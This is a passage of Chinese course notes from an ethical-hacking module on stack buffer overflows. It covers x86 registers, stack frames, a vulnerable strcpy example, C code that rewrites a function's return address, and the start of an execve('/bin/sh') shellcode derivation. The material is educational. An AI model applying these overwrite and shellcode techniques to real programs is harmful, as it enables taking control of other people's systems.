谁知道那段内存中存储了什么?有时可能不是有用的信息,但有时它包含会话密钥。如果合法用户已登录,攻击者就可以劫持会话。这正是攻击发生的方式。随着我们在本模块中继续学习,请记住,这种攻击是关于读取缓冲区末尾之后的数据,而不是向缓冲区放入超过其容量的信息(从而可能允许执行任意代码)。

深入底层:学习路径与目标 🛠️
因此,我们将深入研究缓冲区溢出,学习汇编级代码,计算和反汇编任意字节,并跟踪堆栈活动。关键不是要成为逆向工程师或汇编级程序员。你只需要学习足够的知识来理解缓冲区溢出的细节。这项工作会变得繁琐,你会遇到必须解决的障碍,但这会让你学到很多东西。到最后,你将成为缓冲区溢出方面的专家,并对已实施的一些缓解措施有详细的了解。不要害怕深入其中并亲自动手,因为学习黑客技术不是一项旁观者的运动。
缓冲区溢出的风险最早在 1972 年被认识到,并在 James P. Anderson 公司为 ESD 撰写的题为《计算机安全技术规划研究》的报告中进行了讨论。这似乎很有先见之明,因为当时还没有互联网和个人电脑,也没有人观察到过这种攻击的例子。
缓冲区溢出攻击的发展历程 🚀
然后 16 年后,在 1988 年,罗伯特·莫里斯在互联网上发布了第一个已知的计算机蠕虫,它利用来获取访问权限的漏洞之一就是 finger 守护进程中的缓冲区溢出缺陷。提醒一下,莫里斯是第一个根据《计算机欺诈和滥用法》被起诉的人。整个事件对他的父亲来说相当尴尬,他父亲当时担任 NSA 国家计算机安全中心的首席科学家,并在计算机安全标准“彩虹系列”的开发中发挥了重要作用。
又过了七年,慕尼黑大学的 Thomas Lopatic 于 1995 年发布了针对 HP-UX 上 NCSA HTTPD 的堆栈溢出漏洞利用。NCSA HTTPD 是最早的 Web 服务器之一。这次攻击基于这个早期 Web 服务器中的一个堆栈溢出漏洞,该服务器由伊利诺伊大学的国家超级计算应用中心开发。顺便提一下,当该 Web 服务器的开发停滞时,代码被分叉出来启动了 Apache 项目,该项目当然在互联网兴起过程中起到了基础性作用。目前尚不清楚为什么 Lopatic 的工作没有像《粉碎堆栈以获取乐趣和利润》那样获得广泛关注。我猜是因为它只是针对特定服务器的漏洞利用,而《粉碎堆栈》更像是一个试图捕捉缓冲区溢出概念的教程,其目标是通过单一的抽象来概括和解释许多不同漏洞利用的内容。
在堆栈溢出的概念被更好地理解之后,人们开始考虑缓解措施,下一步就是堆溢出。概念非常相似,但限制堆活动更为复杂,因为堆是一个更健壮的结构,必须允许处理更自由形式的数据。在操作系统实施了许多缓解措施(如 DEP 和 ASLR,我们稍后会讨论)之后,攻击者寻找新的技术来控制堆栈,其中较新的发展之一是“返回至 libc”,我们也将在本系列模块中讨论。
返回至 libc 攻击是一种改进的方法,它始于缓冲区溢出,但调用堆栈上的返回地址被替换为已加载在二进制文件或共享库中的函数的地址。此时术语可能令人困惑,但别担心,我会一步一步带你了解。
核心概念:缓冲区溢出攻击原理图解 🎨
这个简单的图形捕捉了缓冲区溢出攻击的高级思想。相对寻址是操作系统的一个基本属性,它分配内存并将进程放入该内存空间执行。其思想是操作系统跟踪一个基地址,并能够通过添加偏移信息来找到所有其他指令和相对于该基地址的内存位置。
当一个程序调用一个函数时,左侧的灰色堆栈代表了发生的情况。堆栈用于跟踪信息,从顶部开始。返回指令指针是函数结束后要执行的下一条指令。然后,一堆重要信息被保存在堆栈上,底部是在堆栈上分配的一个缓冲区,因为它是在函数中定义的,需要为其分配内存。
右侧红色的相同堆栈显示了攻击者的操作。首先,它创建一个包含两部分的数据集。一部分是 shellcode。它之所以被称为 shellcode,是因为当它执行时,会为攻击者启动一个 shell。数据集的第二部分将是指向 shellcode 的地址。这个地址被反复复制。有了这个数据集,当攻击者被要求输入要放入缓冲区的数据时,他发送了别的东西。他输入他的数据集,其中包含 shellcode 和地址信息。如图所示,shellcode 被放在缓冲区的底部。然后,缓冲区被 shellcode 的地址填满,所有重要的东西都被 shellcode 的地址覆盖。最后,如果数据集足够大,指令指针将被覆盖,从而改变被调用进程结束时的返回指令。当这种情况发生时,指令指针指向 shellcode 而不是调用程序,于是 shellcode 被执行。这个技巧(在简单图形中没有体现)是正确确定 shellcode 的起始地址。这就是填充数据集和覆盖堆栈所需的地址。
关键问题与学习主题 ❓
基于对堆栈溢出的高级描述,这些是我们需要回答的问题:
- 缓冲区在哪里?我们如何将数据集放入其中?
- 缓冲区有多大?它可能太大,以至于你没有添加足够的返回地址来达到堆栈顶部;或者它可能太小,以至于 shellcode 放不下。
- 最后,我们如何确定 shellcode 在目标内存空间中将拥有的地址,以便使其执行?
以下是我们在本子模块中将讨论的主题列表:
- X86 架构概述
- 内存布局与程序执行
- 函数调用与堆栈帧
- 缓冲区溢出原理详解
- Shellcode 编写与注入
- 地址确定与利用构造
- 现代缓解措施(DEP, ASLR)
- 返回至 libc 攻击
总结 📝
本节课中我们一起学习了堆栈缓冲区溢出的基本介绍。其核心思想是将一些 shellcode 放入缓冲区,然后用 shellcode 的地址溢出缓冲区。当缓冲区被写入堆栈时,shellcode 的地址会覆盖调用函数的返回地址。结果是 shellcode 被执行,而不是返回到调用函数中的下一条指令。如前所述,挑战在于:第一,找出缓冲区在堆栈上的位置;第二,确保 shellcode 能放入缓冲区;第三,使 shellcode 得以执行。

接下来,我们将非常快速地了解一下 X86 架构,以便更好地理解 X86 机器中如何处理内存和程序寻址。
068:x86体系架构
在本节课中,我们将学习x86体系架构的寻址方式。理解这部分内容是解释栈的工作原理以及Shellcode如何真正运行的基础。
我们将简要提及64位架构,但重点放在自1985年就已存在的32位架构上。64位架构则大约在2000年左右出现。为了能够创建和理解Shellcode的行为,我们需要讨论以下三个主题。
段寄存器、通用寄存器与指针索引
上一节我们介绍了本课程的目标,本节中我们来看看构成x86寻址基础的三个核心组件。
- 段寄存器:为我们提供了一种跟踪代码、数据和栈位置的方式。它们也为相对寻址提供了基地址信息。
- 通用寄存器:提供了操作和移动数据的位置。
- 指针和索引寄存器:提供了管理基地址偏移和在内存中查找内容的能力。
内存段详解
以下是x86架构中定义的四种主要内存段。
- 代码段:存放进程加载后待执行的指令。它是只读的,以防止代码在运行时被修改。
- 数据段:存放程序员初始化的全局变量和静态变量。它是可读写的,因为变量值在执行过程中可能需要修改。
- 栈段:一个后进先出的数据结构,用于保存地址以管理函数调用时的状态变化。
- 扩展段:提供对更大内存空间的访问。在像C这样的语言中,你可以声明一个
far指针,这时就会使用扩展段,允许你访问当前段之外的内存地址。数据段和代码段都属于“近”段。

寄存器命名与结构
这些是调试器、汇编器和反汇编器将使用的通用寄存器、指针和索引寄存器的名称标签。
本页幻灯片主要关注通用寄存器。但为了完整性,我也包含了指针和索引寄存器的名称:基指针 BP、栈指针 SP、源索引 SI 和目的索引 DI。我们将在后续幻灯片中详细讨论它们。
这张图展示了x86架构演进过程中保持的物理寄存器关系。例如,64位 RAX 寄存器的低32位是 EAX 寄存器,而 EAX 寄存器的低16位是 AX 寄存器。AX 寄存器又分为高字节 AH 和低字节 AL。其他通用寄存器结构类似。

副标题“AT&T语法”指的是使用百分号 % 来表示寄存器名称。随着本模块的进行,我们将进一步讨论这一点。但每当我们启动汇编器或调试器查看底层代码时,工具会使用这种表示法或略有不同的Intel表示法,我们需要对两者都有基本的了解。
MMX寄存器与64位架构简介
MMX寄存器(MM0到MM7)是Intel架构的一个扩展,它使用单指令多数据执行模式,允许同时处理多个数据元素。应用程序使用这些寄存器通过小整数进行并行计算,用于2D/3D图形、图像处理、虚拟现实、音频合成和数据压缩。我们在这里提到它们,是因为这些寄存器可能参与x64架构的调用约定。
以下是关于64位架构的简短说明。我提及这些概念是因为如果你使用64位虚拟机,本模块中的一些示例可能无法在你的环境中运行,或者运行方式会略有不同。

应用二进制接口 是两个程序模块之间的接口,其中一个通常是操作系统。它决定了诸如函数如何调用、信息应以何种二进制格式从一个程序组件传递到下一个(或在系统调用的情况下传递给操作系统)等细节。ABI决定了调用约定,它控制函数参数如何传递以及返回值如何获取。
在32位架构中,调用函数时所有参数都通过栈传递。但64位架构并非如此,它只在参数超过6个时才将额外的参数放在栈上。前6个整数或指针参数通过寄存器传递:RDI, RSI, RDX, RCX, R8, R9。而 XMM0 到 XMM7 用于传递浮点参数。任何超过6个的额外参数都通过栈传递,返回值存储在 RAX 中。

寻址方式在64位机器上也略有不同。遗憾的是,在当前CPU设计中并未使用完整的64位寻址能力,因为地址总线有限。只使用了64位地址中的48位,但仍提供了256TB的地址空间。虽然这已经是很大的内存,但这种实现方式在地址中留下了两个未使用的空字节。这种方法会影响缓冲区溢出示例,因为它们通常使用字符串操作符,而字符串操作符在看到空字节(\0,表示字符串结束)时通常会终止。因此,我们将在本模块中讨论的一些代码在64位虚拟机上无法正常工作。
有效地址计算
通过段描述符、页目录和页表,x86内存模型非常复杂,超出了本讲座的范围。但我们需要理解在汇编代码中看到的内容。
这张图展示了有效地址的表示方式。底部是两个具体示例:第一个使用Intel语法,第二个使用AT&T语法表示相同的表达式。
参数偏移量的计算方式是将基地址加上缩放后的索引值,再加上位移量。在第一个使用Intel语法的例子中,有效地址偏移量可以看作一个从左到右读取的数学等式。AT&T语法则不那么直观,位移量被移到了前面,但计算方式是相同的。
指针与索引寄存器的用途
这展示了通常与不同段寄存器一起使用的索引和指针寄存器,以及每种寄存器的常见用例。顺便说一下,“E”代表“扩展”,是16位架构扩展到32位时的遗留产物。虽然技术上不准确,但我在讨论指针时有时会省略“E”,不过我几乎总是指的是扩展指针。
请注意,指令指针是只读的,只有操作系统可以修改它。此外,栈是一个后进先出的结构,栈指针负责跟踪栈顶。基指针通常作为栈指针的参考点,但它会在新的函数调用时或函数完成并返回到调用程序时发生变化。
Intel与AT&T语法差异
现在,简单介绍一下Intel语法和AT&T语法之间的区别。
- 立即数:AT&T语法中,立即数前加美元符号
$。Intel语法中,立即数不加修饰。 - 寄存器:AT&T语法中,寄存器前加百分号
%。Intel语法中,寄存器不加修饰。 - 操作数顺序:AT&T和Intel语法对源操作数和目的操作数使用相反的次序。Intel语法是 从右到左(目的, 源),AT&T语法是 从左到右(源, 目的)。
- 操作数大小:在AT&T语法中,内存操作数的大小由操作码名称的最后一个字符决定。操作码后缀
b,w,l,q分别指定字节、字、长字和四字内存引用。Intel语法通过在内存操作数前加byte ptr,word ptr,dword ptr,qword ptr来实现。mov指令没有后缀,可以根据上下文推断是字节还是字操作。 - 常数表示:在AT&T语法中,十六进制数前缀为
$0x。在Intel语法中,十六进制或二进制立即数分别用后缀H和B表示。此外,如果十六进制数的第一个数字是字母,则该值前面必须加一个0。 - 内存位置:在Intel语法中,基寄存器用方括号
[]括起来,而在AT&T语法中,用圆括号()括起来。
下表总结了两种语法中内存操作数的处理方式。但更有趣的是子标题下的语句。Intel语法中的两条相对简单的语句实现了与AT&T语法中两条语句相同的结果,但它们看起来却大不相同。
当你尝试单步执行程序时,请注意正在使用哪种语法,这样你才能知道值从哪里移动到哪里,哪些是常数,以及内存位置的偏移量是多少。如果你以前没有在这个级别工作过,这一切可能会相当令人困惑。
总结与下节预告
在本小节中,我们讨论了段寄存器、通用寄存器、指针和索引寄存器。我们还介绍了Intel和AT&T两种寻址语法。
在下一小节中,我将讨论内存是如何组织的,重点讲解栈、栈的工作原理以及栈帧为管理函数调用和返回提供了哪些功能。


069:内存组织结构 🧠
在本节课中,我们将学习进程内存的组织结构,重点了解栈(Stack)的工作原理、栈帧(Stack Frame)的构成,以及它们如何管理函数调用与返回。
概述
本小节将阐述内存的使用方式、各个内存段之间的相对位置关系,以及栈是如何构建的。
下图展示了一个32位进程的内存布局,起始于高内存地址。

内存段详解
栈段(Stack Segment)
在内存的高地址区域,我们找到了栈段。每次数据被压入(push)栈时,栈指针(Stack Pointer)会递减;每次数据被弹出(pop)栈时,栈指针会递增。在本课程中,我们假设栈从高地址向低地址方向增长,并且栈指针总是指向最后被压入的地址,而不是下一个将要被压入的地址。这意味着栈指针在压入操作之前递减。
注意:这两个假设非常重要,因为并非所有操作系统都以相同的方式实现栈。
堆段(Heap Segment)
堆使用的内存在运行时动态分配。堆位于栈段中,并向栈的方向增长。你可能听说过“栈缓冲区溢出”和“堆缓冲区溢出”这两个术语。上图显示它们是紧密相关的。堆可能被认为稍微更有吸引力,因为对其行为的约束更少。

数据段(Data Segment)
内存中下一个段是数据段,它也有两个基本组成部分:由程序员初始化的数据,以及已分配但未初始化的数据(例如数组)。这当然是一个可读写的段,这对于变量值改变时的更新是必要的。
代码段(Code Segment)
最后,我们拥有代码段,它包含可执行代码,并且是只读内存,因为代码在执行时不允许修改自身。
栈的工作原理
栈始终是一个后进先出(LIFO)的结构。但如前所述,你需要检查你的操作系统中栈的行为方式以及它何时递增。
在我们的所有示例中,栈将向下增长,这意味着栈指针在压入操作前递减。当我们从栈中弹出内容时,栈指针递增。
当我们调用一个函数时,通常希望在函数结束时返回到函数调用之后的语句。因此,返回地址(即调用指令之后的下一条指令地址)会在函数被调用时被压入栈中。

栈还用于向函数传递参数、从函数返回值,以及为变量分配空间。
栈帧(Stack Frame)
栈帧是栈的一部分,与尚未通过返回语句终止的子程序调用相关联。这个结构管理着程序进入函数、离开函数以及在函数内部的执行流程。
帧指针(Frame Pointer)指向帧的起始位置,它被保存在基址指针寄存器(Base Pointer Register)中。

如果函数1在自身结束前调用了函数2,那么函数1的帧指针会从基址指针寄存器中被压入栈,并为函数2在栈上创建一个新的帧。新帧的地址(通常称为帧指针)会被放入基址指针寄存器中供函数2使用。当函数2结束时,函数1的帧指针将从栈中弹出到基址指针寄存器中,供函数1使用。

帧指针通常被用作基地址,与该函数相关的许多栈操作都相对于帧指针进行。
下图展示了与函数调用相关联的帧。

帧帮助管理与当前正在执行的例程相关联的当前帧的调用和返回。帧指针位于EBP寄存器中。

栈帧的构成
栈帧通常至少包含以下项目:
- 传递给函数的参数(如果有的话)。
- 返回地址,用于返回到函数的调用者。
- 函数内部声明的局部变量所占用的空间(如果有的话)。
下图是两个函数的静态图示。函数1正在运行并调用了函数2。在新的调用中,在为新的调用启动新的栈帧之前,需要将现有函数的局部变量压入栈以关闭其栈帧。

以下是新帧的构建步骤:
- 压入参数:首先进入新帧的是函数2执行其任务所需的参数。参数以相反的顺序被压入栈中(最后一个参数先入栈)。
- 压入返回地址:其次进入帧的是函数1的返回地址,以便操作系统在函数2终止时能找到返回函数1的路径。
- 保存旧的帧指针:第三进入帧的是函数1的旧的帧指针,这样当新的帧指针被放入基址指针寄存器时,旧的帧指针不会丢失。
- 设置新的帧指针:随后,将当前栈指针(ESP)的值赋给EBP,从而将新的帧指针设置到存储旧帧指针的这个位置。
- 分配局部变量:最后,为局部变量和临时变量分配空间。你可以将此步骤视为关闭栈帧。
本幻灯片展示了AT&T汇编指令,用于保存旧的帧指针、为新进程分配新的帧指针以及在进程结束后恢复旧的帧指针。


总结


在本小节中,我们讨论了内存的组织方式,重点聚焦于栈。我们学习了栈如何工作,以及栈帧为管理函数调用和返回提供了哪些功能。接下来,我们将以一个简单的C函数为例,编译它并观察其栈的行为,以确切了解它是如何运作的。
070:堆栈行为分析 🧱
在本节课中,我们将通过一个简单的C语言程序,深入分析函数调用时堆栈帧的构建与销毁过程。我们将具体观察函数参数如何传递、帧指针如何管理,以及局部变量(包括缓冲区)的内存是如何分配的。
概述
我们将分析一个调用函数并传递三个参数(1, 2, 3)的简单C程序。该函数内部会分配两个字符缓冲区,然后返回主函数。通过编译和调试此程序,我们将直观地理解堆栈在程序执行期间的变化。
程序与编译
我们使用的程序名为 stack.c。使用GCC编译器进行编译,命令如下:
gcc -g stack.c -o stack
其中,-g 开关用于在可执行文件中生成调试信息,以便后续使用GDB进行调试分析。
堆栈帧构建过程分析
上一节我们介绍了程序的基本情况,本节中我们来看看主函数 main 开始执行时,堆栈的初始状态。
当操作系统调用 main 函数时,堆栈顶部会保存命令行接口中下一条指令的返回地址。main 函数开始执行后,首先会将当前的基指针(即旧的帧指针)压入堆栈保存。

紧接着,堆栈指针(SP)被移动到新的位置,从而为 main 函数建立新的帧指针(FP)。
函数调用与参数传递
现在,我们进入 stack.c 的第二条指令。在调用函数之前,需要将参数压入堆栈。
以下是参数传递的步骤:
- 三个函数参数以逆序被压入堆栈。
- 调用函数后,主程序中下一条指令的地址(即返回地址)被压入堆栈。
- 主函数的帧指针被保存,并为被调用的函数创建新的帧指针。
值得注意的是,在压入参数之前,编译器通过将堆栈指针下移16字节来分配栈空间,而不是程序实际请求的12字节。这多出的4个字节(位于 SP+12 处)是出于内存对齐的考虑。
函数内部的局部变量分配
回到 stack.c,函数调用已完成。函数内部唯一的任务是分配两个字符缓冲区。
内存分配必须在字边界上进行。因此:
- 一个5字符的缓冲区会分配2个字(8字节)。
- 一个10字符的缓冲区会分配3个字(12字节)。
然而,观察反汇编代码会发现,编译器实际上将堆栈指针下移了40字节(0x28),远大于所需的20字节。这再次体现了编译器为满足对齐和优化可能进行的额外分配。
验证帧指针与返回地址



我们可以在函数结束前、帧指针被弹出堆栈之前设置断点,以检查堆栈状态。
通过GDB命令 x/8wx $sp,我们可以查看从当前堆栈指针开始的8个字(以十六进制格式)。通过分析堆栈内容,我们可以找到:
- 返回地址:它指向主函数中
leave指令的地址。 - 主函数的帧指针值。
我们可以通过设置断点并运行程序到函数入口处,然后使用 info registers 命令来验证EBP寄存器中的值是否与我们认为的主函数帧指针地址一致。
函数返回:Leave与Return指令
在反汇编代码中,我们常看到 leave 和 return 指令一起出现,但它们的功能不同。

以下是两者的区别:
leave指令:清空被调用函数的堆栈帧,并恢复调用函数的帧指针。它为返回做好准备。return指令:从堆栈中弹出返回地址,并将其载入指令指针(IP),从而实际跳转回调用过程继续执行。
两者配合,共同完成从被调用函数返回到调用函数的完整过程。
总结
本节课中我们一起学习了堆栈在函数调用过程中的行为。我们从一个简单的C程序出发,编译并在GDB中反汇编它。通过分析反汇编代码,我们观察了:
- 函数参数如何通过堆栈传递。
- 局部变量(特别是字符缓冲区)的内存分配机制及其对齐原则。
- 帧指针在子程序调用与返回过程中的管理方式。
- 如何使用调试器设置断点并检查寄存器值来验证理论分析。

如果你对汇编或GDB命令感到生疏,建议回顾第一个子模块提供的参考资料。同时,强烈建议你在自己的道德黑客实验环境中亲自尝试编辑、编译和调试程序,以积累实践经验。记录下使用的命令,这对本模块后续的学习及你的缓冲区溢出实验都大有裨益。
071:段错误诊断 🔍
在本节课中,我们将学习一个简单的C程序,它包含一个编程缺陷,该缺陷允许我们溢出缓冲区并引发段错误。这是理解下一节中程序流修改概念的重要基础。
程序概述
本节基于一个简单的C程序。该程序存在一个编程缺陷,允许我们溢出缓冲区并导致段错误。这是理解后续模块中程序流修改概念的基础。
以下是该程序的核心逻辑:
int main() {
char largeString[256];
// 用字符‘A’填充字符串
memset(largeString, 'A', 256);
largeString[255] = '\0'; // 添加空终止符
vulnerableFunction(largeString);
return 0;
}
void vulnerableFunction(char* input) {
char smallBuffer[16]; // 仅16字节的缓冲区
strcpy(smallBuffer, input); // 将256字节的字符串复制到16字节的缓冲区
}
主函数 main 创建了一个256字符的字符串,用大写字母‘A’填充,并以空字符(\0)终止。然后它调用 vulnerableFunction 函数,并将该字符串传递给它。该函数试图将这个256字符的字符串复制到一个仅16字符的缓冲区中,这模拟了缓冲区溢出。
栈状态分析
上一节我们介绍了程序的基本结构,本节中我们来看看程序执行时栈的状态。首先,思考一个空终止字符串的问题:如果攻击者注入这个长字符串,他为什么要在乎它是否以空字符终止?
下图展示了 main 函数执行并调用 vulnerableFunction 后的栈状态。一个字符占8位(1字节)。因此,分配一个容纳16字符的字符串缓冲区需要4个字(在32位系统中,1字=4字节)。




缓冲区溢出过程
现在,我们来看字符串复制的具体过程。当复制开始时,一个256字符的字符串被放入一个16字符的缓冲区。
您会看到,当复制到缓冲区末尾时,strcpy 函数并不会停止。它会继续复制,直到遇到标志字符串结束的空字符(\0)。它持续将大写字母‘A’复制到栈中,并开始覆盖栈上本不应改变的重要元素。
以下是溢出发生时的栈示意图:

它覆盖了栈上的大量数据,甚至超出栈的范围。但特别关键的是,它覆盖了 main 函数结束时将要使用的返回地址。
这也就回答了前面提出的问题:如果 strcpy 没有看到空终止符,它会一直复制下去,这无疑会导致程序崩溃。但我们通常不希望目标程序崩溃,而是希望利用它。

段错误的产生
字符串复制完成后,vulnerableFunction 函数返回,接着 main 函数也返回。程序试图返回到C语言运行时库(CRT)调用 main 时压入栈的地址。
然而,这个返回地址已经被覆盖和破坏。程序试图返回到一个地址为 0x41414141(‘A’的ASCII码是0x41)的指令,这是一个非法地址。
因此,操作系统(OS)抛出一个段错误。缓冲区溢出将返回地址修改成了一个不包含有效、可执行指令的值。
下图展示了程序试图返回非法地址时的状态:

本节总结与下节预告
在本节中,我们分析了一个简单的C程序,其缓冲区太小,无法容纳传递给它的字符串。结果,栈的一部分被覆盖,包括 main 函数结束时下一条要执行指令的返回地址。

当 main 函数结束,操作系统试图返回到那个地址时,发现它是一个非法地址,于是程序因段错误而中止。
在下一节中,我们将利用这种溢出思想来修改执行流程,而不是仅仅制造一个段错误。返回的地址将是一个合法的、可执行的指令,但不是程序原本应该返回的指令,而是我们选择的一个指令。
下图示意了下一节我们将要实现的目标:控制程序跳转到我们指定的代码:


本节课中我们一起学习了缓冲区溢出如何导致段错误,理解了栈的结构和函数返回地址的关键作用,为后续学习如何利用溢出控制程序执行流打下了基础。
072:执行流篡改技术 💻
在本节课中,我们将学习如何利用缓冲区溢出来控制程序的执行流程,而不仅仅是引发段错误。我们将通过修改返回地址,让程序跳转到我们指定的代码位置执行。
概述
上一节我们讨论了栈的基本结构和缓冲区溢出的原理。本节中,我们将深入探讨如何利用缓冲区溢出,精确地篡改程序的执行流程。核心在于理解C语言中的指针概念,并利用它来修改函数返回地址。
C语言指针基础
对于没有C语言编程基础的同学,我们需要先理解指针的概念。变量在内存中拥有两个关键属性:存储的值和存储的地址。
以下是一个简单的C代码片段,展示了变量的值和地址:
int k = 2;
在这段代码中:
k是一个整数变量。2是存储在k中的值。- 内存中有一个特定的地址用于存放这个值
2。
现在,我们扩展这个例子:
int k = 2;
int j = 7;
k = j;
- 在第3行,
j被解释为变量j的地址,编译器将值7存储到这个地址。 - 在第4行的赋值语句中,
j被解释为存储在j地址中的值(即7),这个值被复制到变量k的地址中。
一个简单的经验法则是:在赋值语句的左侧,我们讨论的是变量的地址;在赋值语句的右侧,我们讨论的是变量的值。
指针变量
有时,我们需要一个变量来专门存储另一个变量的地址,这种变量称为指针。我们使用星号 * 来声明一个指针变量。
int *ptr;
int k = 2;
ptr = &k;
int *ptr;声明了一个名为ptr的指针变量,它用于存储一个整型变量的地址。&k表示获取变量k的地址。ptr = &k;将k的地址赋值给指针ptr。现在,ptr指向整型变量k。- 通过
*ptr可以访问ptr所指向地址中存储的值(即k的值2)。
从语法角度看:ptr 是指针(地址),*ptr 是指针指向的值。
指针与数组
指针的概念可以延伸到数组。数组名本身就是一个指向数组第一个元素的指针。
int array[10];
int *ptr;
ptr = array; // 等价于 ptr = &array[0]

array是一个包含10个整数的数组。- 单独使用
array(不带下标)时,它被视为一个整数指针,其值是数组第一个元素array[0]的地址。 - 因此,
ptr = array;将数组首地址赋值给了指针ptr。
理解以上关于C语言指针的知识,就足以让我们理解接下来用于篡改执行流的编码技巧了。
实践:篡改执行流

这里有一个名为 stack2.c 的程序,它扩展了我们之前研究栈行为时使用的程序。
#include <stdio.h>
void function(int a, int b, int c) {
char buffer1[5];
int *ret;
ret = buffer1 + 12; // 关键步骤1:计算返回地址的位置
(*ret) += 8; // 关键步骤2:修改返回地址的值
}
int main() {
int x = 0;
function(1, 2, 3);
x = 1; // 这行代码将被跳过
printf(“%d\n“, x);
return 0;
}
在 main 函数中,我们先将整数变量 x 赋值为 0,然后调用 function 函数。函数返回后,我们将 x 的值改为 1 并打印。我们期望输出 1,但实际输出是 0。这是因为 function 函数中的三行新代码修改了执行流程,导致 main 函数中的 x = 1; 这条赋值语句被跳过了。
让我们深入分析一下。
栈布局与操作
下图展示了 main 调用 function 后的栈状态。与我们之前所学一致,栈中包含了参数、返回地址、帧指针和为局部变量分配的缓冲区空间。

现在,我们重点分析 function 函数中新增的三行代码(图中标红部分):
int *ret;:声明一个名为ret的局部整型指针变量。它被分配在栈上。ret = buffer1 + 12;:将buffer1的地址加上12后赋值给ret。在32位架构(4字节字长)中,这相当于在栈上向上移动了3个条目。通过计算,ret现在指向了main函数的返回地址在栈中的存储位置。(*ret) += 8;:对ret所指向地址中存储的值(即返回地址)增加8。这意味着我们修改了栈上的返回地址值。
总结一下:首先,我们让指针变量 ret 指向了正确的返回地址位置;然后,我们增加了该位置存储的地址值。这样,函数返回时就不会返回到 main 中调用语句之后的下一条指令,而是会跳过 8 个字节。事实上,x = 1; 这条赋值语句正好是 8 字节长。因此,当 function 返回时,它跳过了这条赋值语句,直接执行了 printf 语句,打印出 x 最初的值 0。
环境差异与作业

在实际编译中,编译器生成的代码可能与理论分析略有不同。例如,缓冲区 buffer1 在栈中的实际偏移地址可能不是简单的 buffer1 + 12。

上图是 stack2.c 编译后 function 函数的反汇编代码(黄色括号部分为栈金丝雀,与本讨论无关)。可以看到,buffer1 的起始位置相对于基址指针 ebp 的偏移是 0x21(即33字节)。因此,仅仅加 12 字节不足以定位到返回地址。你需要根据自己环境的反汇编结果,调整 ret = buffer1 + N; 中的 N 值。
你的第一个作业是:在你自己的道德黑客实验环境中编译 stack2.c,并通过调试确定需要给 ret 加上多大的偏移量 N,才能使程序输出 0 而不是 1。
执行流篡改过程图解
以下四张图逐步展示了栈的变化过程:
-
声明指针:当局部指针变量
ret声明后,栈上为其分配了空间。
![]()
-
计算地址:执行
ret = buffer1 + N;后,ret指向了main的返回地址(图中蓝色箭头所示)。此时返回地址仍指向x = 1;这条语句。
![]()
-
修改地址:执行
(*ret) += 8;后,返回地址的值增加了8字节,现在指向了printf语句。
![]()
-
流程跳转:
function返回后,直接执行printf(“%d\n“, x);,打印出0。随后main函数结束,清理栈并返回。
![]()


目标:跳转到Shellcode
我们的目标不仅仅是跳过一条指令,而是要利用这种修改程序流程的思想,实现更强大的攻击。我们希望让程序跳转到一段我们精心构造并已通过缓冲区注入到程序中的特殊代码去执行。这段代码通常被称为 Shellcode,它被执行后会生成一个命令行shell,从而允许我们执行任意命令。
因此,我们面临两个任务:
- 将Shellcode放入目标程序的缓冲区中。
- 修改程序流程,使其返回到我们的Shellcode,而不是预期的返回地址。
本节课我们提供了一个修改执行流的简单示例,你将在本模块的作业中在自己的实验环境里进行实践。下一个子模块将介绍Shellcode,我们将编写一些Shellcode作为实现完整攻击的第一步。之后,我们会把所有知识结合起来,完成“栈粉碎”攻击,并成功执行Shellcode。
总结

本节课我们一起学习了执行流篡改技术。我们首先回顾了C语言中指针的核心概念,理解了变量地址与值的区别,以及如何利用指针操作内存。然后,我们通过一个具体的程序 stack2.c,详细分析了如何通过缓冲区溢出计算并修改函数返回地址,从而改变程序的正常执行路径,跳过特定的指令。最后,我们指明了最终的攻击目标:将程序流程引导至我们注入的Shellcode。这是缓冲区溢出攻击从“造成崩溃”到“获取控制权”的关键一步。
073:Shellcode原理剖析 🧠
在本节课中,我们将要学习Shellcode的核心原理。Shellcode是能让我们获得目标系统命令行访问权限的代码。我们将从分析一个简单的C程序开始,逐步拆解其汇编指令,最终理解如何构造出能够通过缓冲区溢出漏洞注入并执行的Shellcode。
概述
我们的目标是生成一段小巧、高效的代码,它能通过一个小的缓冲区传递给目标程序并执行。我们将从一个能创建标准Linux shell的C程序入手,通过反汇编分析其工作原理,提取出构造Shellcode所需的关键步骤和指令。
从C程序到系统调用

如果我们可以编写并运行一个C程序,那么任务会很简单。但我们需要的是能够通过小缓冲区传递的精简代码。
我们从一个名为 sc.c 的C程序开始,它使用系统调用 execve 来执行 /bin/sh,从而创建一个标准的Linux shell。编译并执行此程序,你将获得一个shell,如截图所示。
请注意,name 数组是一个包含两个字符指针的数组。
以下是一个更简单的 execve 调用示例,但这种方法不够优雅,且可能不总是有效。作为本模块的一部分,我尝试过这种方法,但得到了不一致的结果,尤其是在64位虚拟机中。网上有许多例子认为这种方法可行,但它可能导致程序崩溃,并且不一定具有一致性或可重复性。我推荐更系统的方法:将程序信息放入数组中。
理解C语言命令行参数
接下来,简要说明C语言中的命令行参数。
变量名 argc 代表参数计数。argc 包含传递给程序的参数数量。变量名 argv 代表参数向量。向量是一维数组,argv 是一个字符串的一维数组。每个字符串都是传递给程序的参数之一。envp 是一个字符串指针的一维数组,作为第三个参数传递,包含环境信息。
例如,命令行 gcc -o myprog myprog.c 会在 gcc 内部产生以下值:argc 为 4。argv[0] 是 gcc。argv[1] 是 -o。argv[2] 是 myprog。argv[3] 是 myprog.c。
execve系统调用语法
execve 系统调用的语法如下。当然,系统调用有很多,这只是用于执行程序的一个。该调用涉及三个参数:
- 第一个参数是一个字符指针,指向要执行的文件名。
- 第二个参数是一个字符指针,指向通过
sc.c命令行传递给execve所执行程序的任何参数。 - 第三个参数是一个字符指针,指向程序环境数组。标准环境变量提供有关用户主目录、终端类型、当前区域设置等信息。
反汇编分析
为了更详细地探究shellcode,将 sc.c 输入文本编辑器,编译它并进行反汇编。如果尚未安装调试器,现在需要安装它。
我们将同时检查 main 函数和系统调用。使用 gdb 进行反汇编将生成 AT&T 语法。如果需要复习,请参考 x86 架构子模块。
这三张幻灯片展示了生成shell的C程序的反汇编代码。它复杂且混乱,可能会让你头疼,但我们只想提取足够的信息来创建自己的shellcode。所以请耐心并逐步分析代码。
代码像往常一样开始,它管理栈帧,将栈指针对齐到边界,并为字符数组 name 向下移动栈指针。为了简化图示,我没有显示对齐字节。换句话说,我们假设最后4位是 0000。
第五行的字面量是字符串 /bin/sh 的地址,它被放入栈中为指针 name[0] 分配的位置。然后,一个长整型的 null 被放入栈中为指针 name[1] 分配的位置。
